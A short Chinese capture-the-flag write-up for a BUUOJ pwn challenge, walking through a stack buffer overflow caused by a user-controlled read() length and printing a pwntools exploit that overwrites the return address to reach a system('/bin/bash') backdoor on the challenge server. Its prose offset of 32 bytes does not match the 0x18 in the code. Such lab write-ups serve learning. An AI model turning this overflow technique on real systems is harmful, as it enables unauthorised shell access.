今天做一题pwn第十题,其实根本没有用到整数溢出,直接当作最普通的题目来做就行
运行看看咸淡
看看保护
没啥保护,看到64位小端序,放ida64
主函数看到了两个输入,其中第一个输入的nbyte是第二个输入中read的第三个参数
这里只用知道read()的第三个参数是输入的字节数
所以只用第一次输入的时候给够输入的字节数,第二个输入函数read就是无限制输入,因此第二个输入的参数存在栈溢出
看看栈结构:buf在esp所在的位置,距离栈底ebp只有16字节,ebp自身占8字节,覆盖返回地址需要8字节,所以只用32字节即可
看看后门地址:
返回地址也直接给到了system('bin/bash')
exp:
from pwn import *
p = remote('node5.buuoj.cn', 29216)
offset = 0x18;
payload = b'A' * offset + p64(0x04006EA)
p.recvuntil('name:')
p.sendline(b'32')
p.recvuntil('name?')
p.sendline(payload)
p.interactive()
拿下!